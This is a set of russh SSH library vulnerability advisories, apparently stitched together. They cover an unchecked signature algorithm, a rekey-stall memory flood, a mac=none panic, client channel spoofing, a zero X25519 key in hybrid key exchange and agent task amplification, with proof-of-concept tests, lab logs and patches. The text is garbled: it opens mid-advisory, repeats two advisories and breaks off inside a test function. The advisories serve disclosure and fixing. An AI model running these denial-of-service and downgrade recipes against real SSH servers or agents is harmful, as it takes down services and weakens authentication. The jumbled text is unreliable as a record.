An attacker able to speak the agent protocol to a russh-based agent (local process on the socket, or a remote SSH server the user connects to with agent forwarding enabled) can drive gigabyte-scale memory growth and millions of leaked tasks per session with megabytes of traffic, renewable until the agent process is starved or OOM-killed, taking the user's SSH key agent down. The trust boundary is the agent protocol peer versus the agent process's resources. No confidentiality or integrity impact.

Details

In russh/src/server/encrypted.rs, server_read_auth_request_pk (0.63.3, around lines 880-990):

• The requested algorithm name (pubkey_algo) is read and only used to decode the key: PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key). The derived hash_alg is then dropped (PublicKeyOrCertificate::PublicKey { ref key, .. }).
• The signature blob is decoded (Signature::decode) and verified with Verifier::verify(&pubkey, &buf, &sig). ssh-key picks the hash from the signature's own algorithm (sig.algorithm()).
• pubkey_algo and sig.algorithm() are never compared.

So for an RSA key, the request can say rsa-sha2-512 while the signature is ssh-rsa. The signature is valid for SHA-1, verification succeeds, and Handler::auth_publickey is called.

Affected versions: every russh release, from the first (0.34.0-beta.1, 2022-03) through 0.63.3 and current main. The behaviour is inherited from thrussh, which russh was forked from.

The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.

• Up to 0.46: after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (pubkey.set_algorithm(algo_)), then verifies.
• From 0.47/0.48 (move to ssh-key): the signature is decoded with its own algorithm (sig_workaround::Sig::decode, later Signature::decode) and verified with it.

Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of server/encrypted.rs in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and main (2026-09-30), and in thrussh 0.33.5.

PoC

A unit test in the existing test module of russh/src/server/encrypted.rs. It uses the module's own helpers (test_auth_session, sign_with_hash_alg, PrivateKeyWithHashAlg) and needs no network or configuration.

1. Check out russh 0.63.3, or main.
2. Paste the code below inside mod tests { ... } of russh/src/server/encrypted.rs.
3. Run cargo test --lib poc_sha1.

// ---- PoC: signature algorithm not checked against the requested one ----

/// Records whether `auth_publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
    authenticated: bool,
}

impl Handler for AcceptAnyKey {
    type Error = Error;

    async fn auth_publickey_offered(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        Ok(Auth::Accept)
    }

    async fn auth_publickey(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        self.authenticated = true;
        Ok(Auth::Accept)
    }
}

/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed_request_announcing(
    user: &str,
    private_key: Arc<PrivateKey>,
    announced: &str,
    hash: Option<crate::keys::HashAlg>,
) -> Vec<u8> {
    let mut packet = Vec::new();
    packet.push(msg::USERAUTH_REQUEST);
    user.encode(&mut packet).unwrap();
    "ssh-connection".encode(&mut packet).unwrap();
    "publickey".encode(&mut packet).unwrap();
    1u8.encode(&mut packet).unwrap();
    announced.encode(&mut packet).unwrap();
    private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap();

    let mut signed = Vec::new();
    CryptoVec::new().as_ref().encode(&mut signed).unwrap();
    signed.extend_from_slice(&packet);
    let signature =
        sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap();
    signature.encode(&mut packet).unwrap();
    packet
}

#[tokio::test]
async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() {
    let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap();
    let private = Arc::new(PrivateKey::from(rsa));
    let mut session = test_auth_session();
    let mut handler = AcceptAnyKey::default();

    // The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1).
    let packet = signed_request_announcing("alice", private, "rsa-sha2-512", None);
    session.process_packet(&mut handler, &packet).await.unwrap();

    // RFC 8332 §3: the signature algorithm must be the requested one, so
    // this request must be rejected. On russh 0.63.3 it is accepted.
    assert!(
        !handler.authenticated,
        "an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512"
    );
}

Result on unmodified 0.63.3:

test server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED
panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512

With the fix below, the test passes and the whole library suite still passes: cargo test --lib gives 186 passed.

Suggested fix: reject a mismatch through the existing reject_auth_request(until, ...) path, so the constant rejection time is kept.

--- a/russh/src/server/encrypted.rs
+++ b/russh/src/server/encrypted.rs
@@ -1023,6 +1023,21 @@
                     map_err!(ensure_end(&signature_reader))?;
                     map_err!(ensure_end(r))?;
 
+                    // RFC 8332 §3: the signature must use the algorithm the
+                    // request names.
+                    let offered_algorithm = match pk_or_cert {
+                        PublicKeyOrCertificate::PublicKey { .. } => ssh_key::Algorithm::new(&pubkey_algo),
+                        PublicKeyOrCertificate::Certificate(_) => {
+                            <ssh_key::Algorithm as crate::helpers::AlgorithmExt>::new_certificate_ext(&pubkey_algo)
+                        }
+                    };
+                    if offered_algorithm.ok().as_ref() != Some(&sig.algorithm()) {
+                        debug!("signature algorithm does not match the requested one");
+                        auth_user.clear();
+                        reject_auth_request(until, &mut self.write, auth_request).await?;
+                        return Ok(());
+                    }
+
                     let is_valid = if accepted_probe_matches && user == auth_user {
                         true
                     } else {

Impact

This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's publickey authentication.

Who is impacted: applications that use russh as an SSH server and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:

• a server that refuses SHA-1 (ssh-rsa) signatures, as OpenSSH does by default since 8.8;
• a server that logs which algorithm a client authenticated with.

Such a server can be made to accept a SHA-1 signature, or to record rsa-sha2-512 for one, by any holder of a valid RSA key.

Not impacted:

• russh clients;
• authentication strength beyond the choice of hash, since a valid signature by the private key is still required;
• Te RSA keys were examined, the case where one key admits several signature algorithms (ssh-rsa, rsa-sha2-256, rsa-sha2-512). We did not test other key types.

Summary

A russh server can be driven to unbounded heap growth (process OOM / kill) by a peer that speaks only standard SSH messages, in the default configuration.

The peer starts a key re-exchange (sends SSH_MSG_KEXINIT) but never sends the follow-up SSH_MSG_KEX_ECDH_INIT, leaving the server's kex state machine in SessionKexState::InProgress indefinitely. While a rekey is in progress the server's three message-drain paths are all gated off (if !self.kex.active()), but the network-read path stays active, so every SSH_MSG_CHANNEL_OPEN the peer sends is processed inline and appends one reply to an unbounded internal queue (priority_receiver, an UnboundedReceiver) that is not dequeued until the rekey completes. Because the peer decides whether the rekey ever completes, the queue — and the server's memory — grows without bound.

This is reproducible end-to-end against a real russh server over a real encrypted transport; see "Proof of concept". A one-line negative control (same flood, no rekey) keeps memory flat, isolating the rekey window as the sole trigger.

Impact

• Availability / DoS. Server RSS climbs at roughly 3.3 KB per CHANNEL_OPEN, driven entirely by the peer, until the process is OOM-killed. In the reproduction one connection pushed the server from ~4 MB to 2.57 GB (and past 4.8 GB against the stock echoserver example) and it was still climbing when the flood was stopped.
• Reached with standard messages, no special configuration. Any handler is affected, including one that rejects every channel (the reply enqueued on rejection is exactly what accumulates). There is no per-connection cap on in-flight channel opens or on the queue, and the queue's sender has no backpressure.
• The peer keeps the connection alive simply by continuing to send, so the inactivity timer never fires.

Affected component

• russh/src/server/session.rs — Session::run tokio::select! loop. The network-read arm is ungated; the three drain paths are gated on !self.kex.active().
• russh/src/server/mod.rs — reply() routes a non-kex message received during a rekey straight to server_read_encrypted (inline processing).
• russh/src/lib_inner.rs — ChannelOpenHandleInner's accept/reject/Drop all send a reply on an UnboundedSender.

Verified on v0.63.1 (commit d3ae702), which is the latest release. The gating logic predates it.

Details

Session::run (russh/src/server/session.rs:631) drives a tokio::select! (:713). Three of its message-drain sites are gated on !self.kex.active():

• the pre-select! batch drain of priority_receiver/receiver (session.rs:680),
• the priority_receiver.recv() arm (session.rs:762),
• the receiver.recv() arm (session.rs:770, which also holds the only other priority_receiver drain at :777).

The fourth arm, r = &mut reading (session.rs:714), is ungated: it reads and processes one incoming packet every loop iteration regardless of rekey state, calling reply() (server/mod.rs:1128).

During a rekey, session.common.encrypted.is_some(), so the strict-kex message-ordering guard (server/mod.rs:1143, which is additionally gated on encrypted.is_none()) does not apply. A non-kex message therefore falls through reply() to session.server_read_encrypted(handler, pkt) (server/mod.rs:1232) and is handled inline. For SSH_MSG_CHANNEL_OPEN this reaches the channel-open handling, which hands the application a ChannelOpenHandle.

Whether the handler accepts or (the trait default) rejects, the handle's accept / reject / Drop all send a Msg::ChannelOpenReply on an UnboundedSender (russh/src/lib_inner.rs:560-603; Drop sends AdministrativelyProhibited at :594-603). That sender feeds priority_receiver, declared UnboundedReceiver<Msg> (session.rs:23) and created with tokio::sync::mpsc::unbounded_channel() (session.rs:1522). Its only drain sites are the three arms gated off during the rekey. So each CHANNEL_OPEN processed during the rekey window appends one reply (carrying a PendingChannelOpen = channel params + mpsc ChannelRef + ids, a few KB retained in practice) to a queue that is never dequeued.

Two facts make this unbounded and remote:

1. The server enters InProgress the moment it receives the peer's KEXINIT (server/mod.rs:1153-1158, begin_rekey) and only leaves it upon receiving the peer's KEX_ECDH_INIT. The peer decides whether to ever send that, so the window is attacker-held.
2. There is no per-connection cap on channels or on the priority queue, and the sender is unbounded (no backpressure).

Root cause

The intended design was to buffer packets received during a rekey and replay them afterwards: the fields pending_reads: Vec<Vec<u8>> and pending_len: u32 (session.rs:26-27) exist and are drained at kex completion (server/mod.rs:1194-1198). But nothing ever pushes to pending_reads or increments pending_len (they are dead — confirmed by grep across russh/src/). Instead of being buffered, channel messages received during a rekey are processed inline, and their replies pile up in the unbounded priority_receiver. The missing piece is a bound on — or bounded deferral of — channel processing while kex.active().

Proof of concept

Everything runs inside a container; nothing touches the host.

Lab. poc/Dockerfile builds russh-lab:head from Eugeny/russh @ d3ae702 (v0.63.1), default features (rust 1.91). A raw-SSH-client PoC (poc/poc_rekey_dos.rs) implements curve25519-sha256 / ssh-ed25519 / aes256-ctr / hmac-sha2-256 by hand, completes the handshake and a publickey auth, then:

1. sends SSH_MSG_KEXINIT (server enters kex.active()),
2. never sends KEX_ECDH_INIT (rekey stalls, attacker-held),
3. floods SSH_MSG_CHANNEL_OPEN.

A minimal server (poc/poc_server.rs) uses the trait-default channel_open_session (which rejects by dropping the handle), so the measured growth is purely the undrained priority queue, not accepted-channel state.

poc/run.sh runs the attack leg and an identical negative control with no rekey. Fresh run inside the lab, N = 800,000 opens (results/rerun-2026-08-29.log):

=== ATTACK (rekey stall) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s  server_RSS=667760KB
  t=4s  server_RSS=1599600KB
  t=6s  server_RSS=2556016KB
  t=8s  server_RSS=2566256KB   (flood done; memory retained)
=== CONTROL (no rekey) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s..t=12s  server_RSS=4208KB   (flat throughout)

• ATTACK: RSS 4,208 KB → 2,566,256 KB (~2.57 GB) and retained after the flood ends — ~3.3 KB per CHANNEL_OPEN, attacker-driven. (An earlier canonical run reached 2.7 GB at 800k opens, and past 4.8 GB against the stock echoserver example at 1.5 M opens — see results/canonical-run.log.)
• CONTROL: RSS flat at 4,208 KB. Without the rekey window the replies are drained normally; TCP backpressure (the client never reads the failure replies) even throttles the flood.

The control isolates the rekey window as the sole trigger. Both legs exercise the real server entry point (Session::run → reply → server_read_encrypted) over a real encrypted transport.

Reproduce: C=russh-lab N=800000 ./poc/run.sh (see poc/POC-README.md).

Remediation

The priority queue carries locally generated channel-open replies, which are non-kex messages the server must not send during a rekey anyway (RFC 4253 §7.1). So the fix is to bound how much channel work is done during a rekey, not to drain the queue mid-rekey. Any of:

• (recommended, minimal) cap the number of non-kex messages processed while a rekey is in progress and disconnect a peer that exceeds it. A stalled/abusive rekey is then torn down after a small constant instead of growing memory without bound. See patch/rekey-message-cap.patch (a ~10-line change local to Session::run, validated in the lab — the attack leg is disconnected after the cap and RSS stays flat; a normal rekey, which completes in one round trip, is unaffected).
• bound / deferred-buffer channel messages during a rekey using the existing (currently dead) pending_reads/pending_len machinery, with a hard cap.
• bound the number of in-flight channel opens per connection and reject beyond it.

OpenSSH does not service new channels mid-kex; matching that intent closes the whole family.

Summary

SshBlockCipher implementations (AES-CBC, AES-CTR, 3DES-CBC, etc.) report needs_mac() == true, meaning they are documented/intended to always be paired with a separate integrity MAC. However, key-exchange negotiation only checks needs_mac() inside the fallback branch of MAC algorithm selection (used when no common MAC algorithm exists). If both peers' preferred MAC lists simply contain none and it is successfully negotiated through the normal selection path, nothing rejects pairing none with a cipher that requires a MAC. Once negotiated, a single crafted packet from either peer causes cipher::read() to shrink an already-allocated buffer below the number of bytes it is about to index, causing a Rust slice-index-out-of-range panic and killing that connection's task.

Details

In russh/src/cipher/mod.rs, read() for a block cipher:

1. Reads packet_length_to_read_for_block_length() bytes up front (16 bytes for any SshBlockCipher) into buffer.buffer.
2. Decrypts the first block to recover the plaintext packet-length field len.
3. Computes buffer.len = len + cipher.tag_len().
4. Calls buffer.buffer.resize(buffer.len + 4, 0).
5. Immediately indexes buffer.buffer[16..] (via the constant used for the first block read) to continue decrypting/reading the rest of the packet.

When the negotiated MAC is none, tag_len() == 0. If the attacker (or a MITM holding the session key, or simply the accepting peer testing a hostile client) sends a packet whose decrypted length field is 0, then buffer.len = 0 and resize(0 + 4, 0) shrinks the buffer that was already grown to 16 bytes in step 1 down to 4 bytes. The subsequent slice operation buffer.buffer[16..] then panics with range start index 16 out of range for slice of length 4.

The file already defines a MINIMUM_PACKET_LEN constant, but it is only consulted on the write/padding side, never on the read path — so nothing prevents an incoming packet from declaring a length shorter than the bytes already buffered.

Negotiation gap: negotiation.rs's Select MAC-selection logic only special-cases needs_mac() when negotiation would otherwise fail (no common MAC), substituting none only if the cipher does not need one. It never re-validates the case where none is a common/successfully-negotiated MAC on both sides regardless of what the chosen cipher requires. So an application (or a malicious peer, since negotiation is attacker-influenced on one side) that includes none in its own preferred MAC list — while still allowing the default CTR/CBC cipher suite — ends up with an invalid, panic-inducing combination that the library itself should refuse.

PoC

1. Configure one side's Preferred config to include mac::NONE in the MAC list (this is a supported, non-default configuration exposed by the crate's public Preferred API — used e.g. for legacy/interop compatibility), while leaving the default cipher list (which includes aes256-ctr/aes256-cbc) untouched.
2. Complete a normal key exchange; negotiation lands on {cipher: aes*-ctr (or -cbc), mac: none} because none is present and preferred/common on both sides, and nothing during negotiation rejects this pairing.
3. From the peer, send one transport packet whose decrypted packet-length field is 0 (trivial to construct once the session keys are known to that peer, or for the peer that legitimately owns the connection to simply hand-craft, e.g. a modified client for testing).
4. cipher::read() on the receiving side panics: range start index 16 out of range for slice of length 4.
5. Because each connection is handled in its own tokio::spawn'ed task (see the per-connection select! loop that calls into cipher::read()), the panic unwinds only that task by default, but it unconditionally terminates that SSH connection/session — a working, currently-unauthenticated, already-established connection is killed with no attacker interaction beyond the one crafted packet, and the check runs on every inbound packet including pre-auth ones.

Impact

Denial of service: a remote peer that can influence MAC preference negotiation (or a MITM in possession of the session key) can crash any individual SSH connection/session that ends up negotiating a block cipher together with mac=none, with a single crafted packet, pre-authentication. This does not affect the process as a whole (panic is scoped to that connection's task under panic=unwind), and does require a non-default configuration that permits none as a preferred MAC — hence Low severity.

Suggested fix

In the MAC-selection logic in negotiation.rs, reject (or force substitution of) mac::NONE whenever the negotiated cipher's needs_mac() is true, regardless of how none came to be selected — not only in the "no common MAC" fallback branch. Defensively, cipher::read() could also refuse to shrink a buffer below the number of bytes already consumed for the length-field block, returning a protocol error instead of resizing blindly.

For credit/changelog purposes, please use: Yazan Balawneh, Cystack.ps

Summary

CVE-2026-68930 was fixed by adding Session::is_established_channel() in russh/src/server/encrypted.rs, which gates every channel-scoped SERVER-side message (CHANNEL_REQUEST, CHANNEL_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_WINDOW_ADJUST, CHANNEL_EXTENDED_DATA) on enc.channels.get(&channel).is_some_and(|c| c.confirmed) before invoking any Handler callback. The identical validation was never added to the CLIENT side (russh/src/client/encrypted.rs), which processes channel-scoped messages sent by the SSH SERVER once the client has authenticated.

Details

In client_read_authenticated (russh/src/client/encrypted.rs, ~lines 431-757), for CHANNEL_DATA, CHANNEL_EXTENDED_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_OPEN_FAILURE, CHANNEL_SUCCESS, CHANNEL_FAILURE, and the CHANNEL_REQUEST sub-types exit-status/exit-signal/xon-xoff, the code only optionally forwards the event to the internal per-channel mpsc sender via if let Some(chan) = self.channels.get(&channel_num) { ... } (a no-op if the channel is unknown), but then unconditionally calls the corresponding public Handler trait method (client.data(...), client.exit_status(...), client.channel_close(...), client.channel_success(...), etc.) regardless of whether channel_num corresponds to any channel the client ever opened or that was ever confirmed. Only CHANNEL_OPEN_CONFIRMATION (closes the connection with Error::Inconsistent if unknown) and CHANNEL_WINDOW_ADJUST (returns early with Ok(()) if unknown) correctly validate channel existence before acting.

Corroborating evidence this check was intended but never wired up: crate::Error defines a dedicated WrongChannel variant documented as "Message received/sent on unopened channel" (russh/src/lib_inner.rs, ~line 144-146), yet a repo-wide search shows this variant is never constructed or returned anywhere in the codebase — dead code left over from (or intended for) exactly this validation.

Because Session::new_channel_id() (russh/src/session.rs, ~line 708) allocates channel IDs sequentially starting at 1, a malicious or compromised SSH server can trivially predict the ID of the client's next channel and inject spoofed lifecycle events for it before or interleaved with the real channel-open exchange, or replay events for already-closed channel IDs.

PoC

Many real-world consumers of russh-as-a-client (deployment/orchestration tools, CI runners connecting to build/bastion hosts, git-over-ssh style tooling, database/tunnel clients) implement the client::Handler trait directly and key their own state (e.g. HashMap<ChannelId, CommandState>, exit-code trackers, per-channel byte counters, completion futures) off the channel IDs the library hands them, trusting the documented contract that events like "The remote process has exited" (exit_status) or "Called when the server closes a channel" (channel_close) only fire for a channel the application itself opened.

A malicious, MITM'd (via a compromised/rogue jump host the client is configured to trust), or simply hostile SSH server can send SSH_MSG_CHANNEL_REQUEST (exit-status/exit-signal), SSH_MSG_CHANNEL_DATA, SSH_MSG_CHANNEL_CLOSE, SSH_MSG_CHANNEL_SUCCESS/FAILURE, or SSH_MSG_CHANNEL_OPEN_FAILURE for an arbitrary/predicted/never-opened channel ID at any point after authentication completes. Because the library invokes the Handler callback unconditionally, this reaches application code with an ID it never registered.

Impact

(1) A reliable, purely protocol-level trigger for an application panic/DoS in any client that indexes per-channel state by ChannelId without itself re-checking channel validity — the exact class of bug CVE-2026-68930 fixed server-side; and (2) lets the server spoof exit-status/exit-signal/close/success/failure notifications for a channel the client has not yet opened or has already released, desynchronizing the client's command-completion bookkeeping (e.g. reporting a forged exit code 0 for a not-yet-run remote command, or a premature channel_close before real output/exit-status has arrived) — a business-logic-level integrity violation of the SSH channel lifecycle that automation built on russh implicitly relies on.

Suggested fix: add the same is_established_channel()-style gate already used in server/encrypted.rs to client/encrypted.rs's client_read_authenticated, checking self.channels.get(&channel_num) before invoking any Handler callback (not just the mpsc forward), for every channel-scoped message type.

For credit/changelog purposes, please use: Yazan Balawneh, Cystack.ps

Vulnerability

The hybrid ML-KEM 768 + X25519 key exchange implementation in russh/src/kex/hybrid_mlkem.rs does not validate that the remote peer's X25519 public key is not the zero point (all-zero 32-byte value). This allows a remote peer to force the X25519 contribution to the combined shared secret to zero, reducing the hybrid KEX to a single-algorithm exchange.

Affected code at HEAD (v0.62.4, commit 0089c89):

Server-side (server_dh, lines 92-93):

let mut c_pk1 = MontgomeryPoint([0; 32]);
c_pk1.0.copy_from_slice(c_pk1_bytes);
// No zero-point check - proceeds to: let k_cl = s_secret * c_pk1;

Client-side (compute_shared_secret, lines 154-155):

let mut s_pk1 = MontgomeryPoint([0; 32]);
s_pk1.0.copy_from_slice(s_pk1_bytes);
// No zero-point check - proceeds to: let k_cl = x25519_secret * s_pk1;

Root Cause

Commit a7fc1eb (2026-07-22, "fix mpint encoding and validate curve25519 keys") added zero-point validation to the standalone Curve25519 KEX in russh/src/kex/curve25519.rs at two locations:

• server_dh line 77: if client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }
• compute_shared_secret line 122: if remote_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }

The same X25519 scalar multiplication pattern appears in hybrid_mlkem.rs, but the fix was not applied there.

Proof of Concept

A malicious SSH client negotiating mlkem768x25519-sha256 can send a KEX_HYBRID_INIT message containing a valid ML-KEM 768 encapsulation key followed by 32 zero bytes as the X25519 component.

When the server computes k_cl = s_secret * c_pk1, the result is the zero point regardless of the server's secret scalar. The combined shared secret K = SHA-256(k_pq || k_cl) then depends only on the ML-KEM component. The same attack works in reverse against a client connecting to a malicious server.

The zero X25519 public key passes all existing validation (the length check on line 78 succeeds since 32 bytes is correct). No panic or crash occurs - the exchange completes successfully with a weakened shared secret.

Impact

The purpose of hybrid key exchange is defense-in-depth: if either the classical algorithm (X25519) or the post-quantum algorithm (ML-KEM 768) is broken, the combined secret remains secure. By injecting a zero X25519 public key, an attacker eliminates the classical contribution entirely, reducing security to depend solely on ML-KEM.

This matters in two scenarios:

1. If ML-KEM 768 is later found to have a weakness (the explicit threat model hybrid KEX is designed to mitigate), sessions where the X25519 component was zeroed out lose their fallback protection.
2. An active network attacker who can intercept KEX could downgrade the hybrid exchange to effectively single-algorithm security without either peer detecting it.

The severity is MEDIUM rather than HIGH because the ML-KEM component still provides strong security today, and an active attacker who can modify KEX messages can already perform other attacks unless strict KEX is negotiated.

Suggested Fix

Add zero-point checks in hybrid_mlkem.rs matching the ones in curve25519.rs:

// In server_dh, after line 93:
let mut c_pk1 = MontgomeryPoint([0; 32]);
c_pk1.0.copy_from_slice(c_pk1_bytes);
if c_pk1.0 == [0u8; 32] {
    return Err(Error::Kex);
}

// In compute_shared_secret, after line 155:
let mut s_pk1 = MontgomeryPoint([0; 32]);
s_pk1.0.copy_from_slice(s_pk1_bytes);
if s_pk1.0 == [0u8; 32] {
    return Err(Error::Kex);
}

Ideally, also validate against the other small-subgroup points on Curve25519 (there are a small number of low-order points that also yield a zero shared secret), matching the comprehensive validation OpenSSH performs.

AI tooling

AI assistancewas used for the code audit and for drafting this report. The finding was manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.

Summary

russh_keys::agent::server::add_key (russh/src/keys/agent/server.rs:271-319) spawns a dedicated tokio task for every 5-byte SSH_AGENT_CONSTRAIN_LIFETIME record attached to an added key, each cloning the key blob and sleeping for the declared lifetime (up to ~136 years). The loop has no per-request task budget, and spawned tasks are not rolled back when the overall request fails. Repeating one constrained add-key message over an agent connection converts wire bytes into resident tasks and heap at roughly 141x amplification: in our measurement 10.2 MiB of protocol traffic produced ~2,096,120 live tasks and +1,447,856 KiB RSS, while the same traffic sent as unconstrained add-key requests cost +268 KiB. An attacker reaching the agent socket (a local process, or a remote SSH server the user connects to with agent forwarding, since russh clients accept the auth-agent@openssh.com channel by default at russh/src/client/mod.rs:2686) can exhaust the agent process's memory and task capacity with a renewable, cheap request stream. Verified on russh HEAD efa9a03 (v0.63.3-10, 2026-10-01).

Details

// russh/src/keys/agent/server.rs:271-319 (add_key, constraint loop)
while let Ok(t) = u8::decode(r) {
 match t {
 SSH_AGENT_CONSTRAIN_LIFETIME => {
 let lifetime = u32::decode(r)?;
 ...
 tokio::spawn({
 let key = key.clone;
 async move { tokio::time::sleep(...lifetime...).await; /* remove key */ }
 });
 }
 ...

Each lifetime record clones the key blob into a new task regardless of how many records the same request already spawned, and a failure later in the request leaves earlier tasks alive. Data flow: agent connection -> SSH_AGENTC_ADD_IDENTITY_CONSTRAINED -> constraint decode loop -> unbounded tokio::spawn per 5 bytes. The control measurement (identical wire volume as unconstrained adds) isolates the constraint path as the amplifier.

Proof of concept

Prerequisites: Linux host with cargo and git. The archive's deploy script provisions russh at the pinned revision and the PoC crate (rewriting the path dependency); the PoC runs a real russh agent server on loopback and speaks the agent protocol to it.

$ POC_HOME=$HOME/russh-poc RUSSH_REPO=/home/ubuntu/HuntTargets/russh ./deployment/deploy.sh
russh at efa9a03 -> /home/ubuntu/russh-poc/poc

$ POC_HOME=$HOME/russh-poc ./poc/poc.sh 40
[*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
[*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
[*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
[*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.
[*] fds = 19

The broker acks every request (code 6 = SUCCESS) while RSS grows to +1.45 GB from ~10 MiB of input. The harness's control mode (same wire volume, unconstrained adds) measured +268 KiB. The automated archive run reproduces exactly this trace.

Manual reproduction, step by step (no archive required)

1. Provision russh at the pinned revision and build the PoC crate (it hosts a real russh agent server in-process):

git clone https://github.com/Eugeny/russh && cd russh && git checkout efa9a03e541b69505d5e6ec0d9213d011c9f6310
cargo build --release   # in the PoC crate directory; the path dependency points at the clone

2. Run the PoC: it starts the agent on loopback, then sends repeated SSH_AGENTC_ADD_IDENTITY_CONSTRAINED messages whose constraint sections contain ~52,000 five-byte SSH_AGENT_CONSTRAIN_LIFETIME records each:

./target/release/poc-agent-addkey 40
# [*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
# [*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
# [*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
# [*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.

3. Control: the same wire volume sent as UNCONSTRAINED add-key requests measures +268 KiB (MODE=control), isolating the constraint-record task spawn as the amplifier.

4. Reachability: any local process with access to the agent socket, or a remote SSH server the user connects to with agent forwarding (russh clients accept auth-agent@openssh.com channels by default, russh/src/client/mod.rs:2686), can drive this. Each spawned task clones the key blob and sleeps for the declared lifetime (up to ~136 years); tasks are never rolled back when a request fails.

Impact

An attacker able to speak the agent protocol to a russh-based agent (local process on the socket, or a remote SSH server the user connects to with agent forwarding enabled) can drive gigabyte-scale memory growth and millions of leaked tasks per session with megabytes of traffic, renewable until the agent process is starved or OOM-killed, taking the user's SSH key agent down. The trust boundary is the agent protocol peer versus the agent process's resources. No confidentiality or integrity impact.

Details

In russh/src/server/encrypted.rs, server_read_auth_request_pk (0.63.3, around lines 880-990):

• The requested algorithm name (pubkey_algo) is read and only used to decode the key: PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key). The derived hash_alg is then dropped (PublicKeyOrCertificate::PublicKey { ref key, .. }).
• The signature blob is decoded (Signature::decode) and verified with Verifier::verify(&pubkey, &buf, &sig). ssh-key picks the hash from the signature's own algorithm (sig.algorithm()).
• pubkey_algo and sig.algorithm() are never compared.

So for an RSA key, the request can say rsa-sha2-512 while the signature is ssh-rsa. The signature is valid for SHA-1, verification succeeds, and Handler::auth_publickey is called.

Affected versions: every russh release, from the first (0.34.0-beta.1, 2022-03) through 0.63.3 and current main. The behaviour is inherited from thrussh, which russh was forked from.

The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.

• Up to 0.46: after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (pubkey.set_algorithm(algo_)), then verifies.
• From 0.47/0.48 (move to ssh-key): the signature is decoded with its own algorithm (sig_workaround::Sig::decode, later Signature::decode) and verified with it.

Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of server/encrypted.rs in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and main (2026-09-30), and in thrussh 0.33.5.

PoC

A unit test in the existing test module of russh/src/server/encrypted.rs. It uses the module's own helpers (test_auth_session, sign_with_hash_alg, PrivateKeyWithHashAlg) and needs no network or configuration.

1. Check out russh 0.63.3, or main.
2. Paste the code below inside mod tests { ... } of russh/src/server/encrypted.rs.
3. Run cargo test --lib poc_sha1.

// ---- PoC: signature algorithm not checked against the requested one ----

/// Records whether `auth_publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
    authenticated: bool,
}

impl Handler for AcceptAnyKey {
    type Error = Error;

    async fn auth_publickey_offered(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        Ok(Auth::Accept)
    }

    async fn auth_publickey(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        self.authenticated = true;
        Ok(Auth::Accept)
    }
}

/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed_request_announcing(
    user: &str,
    private_key: Arc<PrivateKey>,
    announced: &str,
    hash: Option<crate::keys::HashAlg>,
) -> Vec<u8> {
    let mut packet = Vec::new();
    packet.push(msg::USERAUTH_REQUEST);
    user.encode(&mut packet).unwrap();
    "ssh-connection".encode(&mut packet).unwrap();
    "publickey".encode(&mut packet).unwrap();
    1u8.encode(&mut packet).unwrap();
    announced.encode(&mut packet).unwrap();
    private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap();

    let mut signed = Vec::new();
    CryptoVec::new().as_ref().encode(&mut signed).unwrap();
    signed.extend_from_slice(&packet);
    let signature =
        sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap();
    signature.encode(&mut packet).unwrap();
    packet
}

#[tokio::test]
async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() {
